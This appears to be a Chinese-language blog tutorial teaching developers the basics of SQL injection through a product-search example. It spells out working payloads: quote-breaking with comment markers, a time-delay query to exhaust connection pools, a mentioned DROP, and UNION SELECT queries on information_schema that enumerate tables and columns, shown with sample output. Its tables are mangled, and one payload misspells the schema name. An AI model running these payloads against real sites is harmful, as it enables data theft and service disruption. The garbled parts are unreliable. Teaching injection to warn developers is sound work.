SQL注入基本原理
WEB技術發展日新月異,但是徒手拼SQL的傳統手藝還是受相當多的開發者親青睞。畢竟比起再去學習一套複雜的ORM規則,手拼更說方便,直覺。通常自己拼SQL的人,應該是有聽過SQL注入很危險,但總是心想:我的SQL語句這麼簡單,不可能被注入的。
花5分鐘看完這個完整的例子,從今往後應該再也不敢有以上僥倖心理了。
簡單場景
有一個WEB介面提供輸入商品名稱,展示對應價格,生產日期及生產地點資訊。例如輸入Hammer展示:
產品 | 價格 | 生產地 | |
---|---|---|---|
12.98#American
#2019.11.07
#Club Hammer29.98
Canada2019.11.11
。 | 如果要實現以上功能,那麼我們大致可以猜到伺服器使用的SQL語句如下: | 其中?表示目前我們並不知道具體的表名和字段名,此SQL唯一可以被操縱的就是單引號裡面的輸入內容'%Hammer%。假如我們直接在查找框裡輸入一個單引號。即變成 | 這樣拼接後造成SQL語法錯誤,得不到任何結果,我們需要使用 | --
---|---|---|---|
後的是註釋內容(你也可以用 | #),這樣你可以得到所有的產品信息,目前為止,還是沒有嗅到危險的信號。 | 產品 | |
生產地點 | 生產日期 | ||
12.98 | American | 2019.11.07 | |
#29.98 | Canada | 2019.11.11 |
10.98China
2019.11.11
Boning Knife
19.98
China2019.01.01
緊緊抓住上一個步驟中可以擴充的單引號部分。來一個簡單的延時語句試一試: | 這時查詢會2秒後才回傳結果,如果把時間延長,用腳本多點幾次查詢,一下就能把資料庫的連接池用完。 | 當然,還有破壞力更強的! | 可以直接把表/資料庫直接刪除掉,至於如何知道引資料庫中有哪一些表(即如何確定上句SQL中的xxxx)呢? |
---|---|---|---|
我們需要知道此資料庫有哪一些表格!這樣才能能拿到有用的資訊。 | 使用union可以把不同表格的內容拼在一起,小試試看: | 產品 | |
生產地點 | 生產日期 | ||
12.98 | American | #2019.11.07 |
可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。
Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
authors | hawkeye | 3 | 4 |
products | hawkeye | 3 | 4 |
user | hawkeye | 3 | 4 |
.... | .... | 3 | 4 |
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。
看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。
select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
id | hawkeye | 3 | 4 |
name | hawkeye | 3 | 4 |
price | hawkeye | 3 | 4 |
address | hawkeye | 3 | 4 |
updated_at | hawkeye | 3 | 4 |
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):
select name,price,address,updated_at from products where name like '%Hammer%';
通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表
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